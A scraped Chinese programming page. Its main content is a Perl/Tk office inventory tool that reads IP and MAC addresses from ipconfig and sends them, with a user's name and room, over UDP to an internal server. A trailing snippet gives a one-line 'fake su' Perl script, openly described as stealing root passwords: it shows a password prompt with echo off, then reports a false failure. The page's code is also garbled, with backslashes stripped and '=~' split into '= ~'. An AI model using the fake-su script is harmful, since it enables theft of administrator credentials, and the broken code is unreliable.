用perl写的单位电脑信息采集程序


主要用于收集ip、mac、姓名、房间，后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。 
############################# 
use strict; 
use Tk; 
use Encode; 

#SOCKE参数 
my $PF_INET = 2; 
my $port = 2345; 
my $remote_addr = pack('SnC4x8',$PF_INET,$port,192,168,138,228); 
my $SOCK_DGRAM = 2; 

#Frame 
my ($label_room, $label_name, $label_ctrl, $label_notice); 

#确定、取消 
my ($enter, $cancel); 

#房间、姓名变量 
my ($room, $name); 
$room = ''; 
$name = ''; 

#主界面 
my $mw = MainWindow->new(-title => hanzi('信息收集')); 
$mw->minsize(qw/200 100/); 
$mw->maxsize(qw/200 100/); 

#三个Frame 
$label_room = $mw->Frame( qw/-borderwidth 2 -relief groove/ )->pack( qw/-side top -fill both/ ); 
$label_name = $mw->Frame( qw/-borderwidth 2 -relief groove/ )->pack( qw/-side top -fill both/ ); 
$label_ctrl = $mw->Frame( qw/-borderwidth 2 -relief groove/ )->pack( qw/-side top -fill both/ ); 

#房间号码输入 
$label_room->Label(-text => hanzi('房间号码'))->pack(qw/-side left -expand 1/); 
$label_room->Entry(-textvariable => $room, -relief => 'groove')->pack(qw/-side right -expand 1/); 

#姓名输入 
$label_name->Label(-text => hanzi('姓名'))->pack(qw/-side left -expand 1/); 
$label_name->Entry(-textvariable => $name, -relief => 'groove')->pack(qw/-side right -expand 1/); 

#确定与重置 
$enter = $label_ctrl->Button(-text => hanzi('确定'), -command => &enter)->pack(qw/-side left -expand 1/); 
$cancel = $label_ctrl->Button(-text => hanzi('重置'), -command => &cancel)->pack(qw/-side right -expand 1/); 

#提示 
$label_notice = $mw->Label(-text => hanzi('欢迎使用'), -relief => 'groove', -background => '#FFFF99')->pack(qw/-side bottom -fill x/); 

MainLoop(); 

#汉字解码 
sub hanzi{ 
    return decode('gb2312', shift);     
} 

#确定函数 
sub    enter{ 
    chomp($room); 
    chomp($name); 
    $room =~ s/^s+//; 
    $name =~ s/^s+//; 
    if($room eq '' or $name eq ''){ 
        $label_notice->configure(-text => hanzi('输入不能为空')) ; 
        return 0; 
    }#if 
    else{ 
        open(IPCF,'-|',"ipconfig -all"); 

        my ($mac_addr, $ip_addr, $out_buffer); 
        while(<IPCF>){ 
            chomp; 
            if($_ = ~s/(.*)(00(-[0-9A-Z]{2}){5})(.*)/$2/){ 
                $mac_addr = join('', split(/-/,$_)); 
            } 
            if($_ = ~/IP Address/){ 
                $_ = ~s/(.*)([0-9]{3}(.[0-9]{1,3}){3})(.*)/$2/; 
                $ip_addr = $_; 
            } 
        }#while 
        $out_buffer = $room."t".$mac_addr."t".$ip_addr."t".encode('utf8', $name); 

        socket(UDP_CLIENT, $PF_INET, $SOCK_DGRAM, getprotobyname('udp')); 
        send(UDP_CLIENT, $out_buffer, 0, $remote_addr); 

        close(UDP_CLIENT); 
        close(IPCF); 
        $mw->destroy(); 
    }#else         
} 

#重置函数 
sub cancel{ 
    $label_notice->configure(-text => hanzi('重置为空')); 
    $room = ''; 
    $name = ''; 
}

冒充su ,perl写的su.pl盗取root密码
我改了一下，把回显关了加了个延时：#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

perl中5个常见错误
最近在用perl+mdbm+spread做东西。php是用了很久了,python和ruby与用过,经典脚本语言就perl没摸过，现在在像小学生一样抱着教科书啃。发现perl果然有难度多

perl 中文处理技巧
Perl从5.6开始已经开始在内部使用utf8编码来表示字符，也就是说对中文以及其他语言字符的处理应该是完全没有问题的。我们只需要利用好Encode这个模块

一起学习网

用perl写的单位电脑信息采集程序